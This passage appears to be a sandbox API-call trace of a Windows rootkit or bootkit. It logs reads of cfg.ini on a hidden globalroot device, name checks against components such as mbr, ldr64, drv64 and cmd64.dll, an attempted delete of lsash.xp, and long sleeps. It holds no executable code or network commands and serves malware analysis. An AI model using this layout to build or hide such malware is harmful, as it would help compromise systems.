ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.524] KeLeaveCriticalRegion () [0120.524] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.524] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.524] KeEnterCriticalRegion () [0120.524] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.524] ExFreePoolWithTag (P=0xfffffa8003bbaf10, Tag=0x0) [0120.524] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.524] KeLeaveCriticalRegion () [0120.524] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.524] ReleaseMutex (hMutex=0xf0) returned 1 [0120.524] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.524] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.524] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.524] KeEnterCriticalRegion () [0120.524] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.524] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.524] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.524] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.524] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.524] IdePortDispatch () returned 0x103 [0120.524] KeWaitForMutexObject () returned 0x0 [0120.524] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.524] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.524] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.524] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.524] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.524] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbc3f0 [0120.524] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.524] KeLeaveCriticalRegion () [0120.524] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.524] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.524] KeEnterCriticalRegion () [0120.524] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.524] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.524] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.524] KeLeaveCriticalRegion () [0120.525] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.525] KeEnterCriticalRegion () [0120.525] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.525] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.525] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.525] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.525] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.525] IdePortDispatch () returned 0x103 [0120.525] KeWaitForMutexObject () returned 0x0 [0120.525] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.525] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.525] KeLeaveCriticalRegion () [0120.525] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.525] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.525] KeEnterCriticalRegion () [0120.525] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.525] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003482000 [0120.525] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.525] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.525] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.525] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.525] IdePortDispatch () returned 0x103 [0120.525] KeWaitForMutexObject () returned 0x0 [0120.525] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.525] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.525] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.525] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.525] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.525] IdePortDispatch () returned 0x103 [0120.526] KeWaitForMutexObject () returned 0x0 [0120.526] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.526] KeLeaveCriticalRegion () [0120.526] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.526] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.526] KeEnterCriticalRegion () [0120.526] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.526] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.526] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.526] KeLeaveCriticalRegion () [0120.526] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.526] KeEnterCriticalRegion () [0120.526] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.526] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.526] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.526] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.526] KeLeaveCriticalRegion () [0120.526] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.526] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.526] KeEnterCriticalRegion () [0120.526] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.526] ExFreePoolWithTag (P=0xfffffa8003bbc3f0, Tag=0x0) [0120.526] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.527] KeLeaveCriticalRegion () [0120.527] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.527] ReleaseMutex (hMutex=0xf0) returned 1 [0120.527] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.527] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.527] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.527] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.527] KeEnterCriticalRegion () [0120.527] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.527] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.527] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.527] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.527] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.527] IdePortDispatch () returned 0x103 [0120.527] KeWaitForMutexObject () returned 0x0 [0120.527] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.527] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.527] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.527] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.527] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.527] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.527] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.527] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.527] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.527] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.527] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.527] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.527] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.527] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.527] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.527] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.527] KeLeaveCriticalRegion () [0120.527] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.527] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.527] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.527] KeEnterCriticalRegion () [0120.527] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.528] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.528] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.528] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.528] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.528] IdePortDispatch () returned 0x103 [0120.528] KeWaitForMutexObject () returned 0x0 [0120.528] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.528] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.528] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.528] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.528] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.528] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.528] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.528] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.528] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.528] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.528] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.528] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.528] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.528] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.528] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.528] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.528] KeLeaveCriticalRegion () [0120.528] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.528] ReleaseMutex (hMutex=0x100) returned 1 [0120.528] Sleep (dwMilliseconds=0x2bf20) [0120.534] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b0b3870, dwHighDateTime=0x1d24fa4)) [0120.534] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.534] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.534] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.534] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.534] KeEnterCriticalRegion () [0120.534] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.534] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.534] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.534] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.535] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.535] IdePortDispatch () returned 0x103 [0120.535] KeWaitForMutexObject () returned 0x0 [0120.535] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.535] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.535] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.535] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.535] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.535] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba200 [0120.535] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.535] KeLeaveCriticalRegion () [0120.535] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.535] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.535] KeEnterCriticalRegion () [0120.535] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.535] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.535] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.535] KeLeaveCriticalRegion () [0120.535] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.535] KeEnterCriticalRegion () [0120.535] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.535] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.535] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.535] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.535] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.535] IdePortDispatch () returned 0x103 [0120.535] KeWaitForMutexObject () returned 0x0 [0120.535] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.535] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.535] KeLeaveCriticalRegion () [0120.535] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.536] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.536] KeEnterCriticalRegion () [0120.536] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.536] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003486000 [0120.536] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.536] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.536] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.536] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.536] IdePortDispatch () returned 0x103 [0120.536] KeWaitForMutexObject () returned 0x0 [0120.536] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.536] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.536] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.536] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.536] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.536] IdePortDispatch () returned 0x103 [0120.536] KeWaitForMutexObject () returned 0x0 [0120.536] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.536] KeLeaveCriticalRegion () [0120.536] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.537] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.537] KeEnterCriticalRegion () [0120.537] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.537] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.537] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.537] KeLeaveCriticalRegion () [0120.537] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.537] KeEnterCriticalRegion () [0120.537] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.537] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.537] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.537] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.537] KeLeaveCriticalRegion () [0120.537] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.537] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.537] KeEnterCriticalRegion () [0120.537] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.537] ExFreePoolWithTag (P=0xfffffa8003bba200, Tag=0x0) [0120.537] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.537] KeLeaveCriticalRegion () [0120.537] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.537] ReleaseMutex (hMutex=0xf0) returned 1 [0120.537] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.537] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.537] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.537] KeEnterCriticalRegion () [0120.537] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.537] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.537] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.537] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.537] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.537] IdePortDispatch () returned 0x103 [0120.537] KeWaitForMutexObject () returned 0x0 [0120.538] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.538] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.538] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.538] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.538] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.538] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba310 [0120.538] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.538] KeLeaveCriticalRegion () [0120.538] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.538] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.538] KeEnterCriticalRegion () [0120.538] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.538] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.538] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.538] KeLeaveCriticalRegion () [0120.538] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.538] KeEnterCriticalRegion () [0120.538] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.538] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.538] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.538] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.538] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.538] IdePortDispatch () returned 0x103 [0120.538] KeWaitForMutexObject () returned 0x0 [0120.538] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.538] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.538] KeLeaveCriticalRegion () [0120.538] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.538] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, 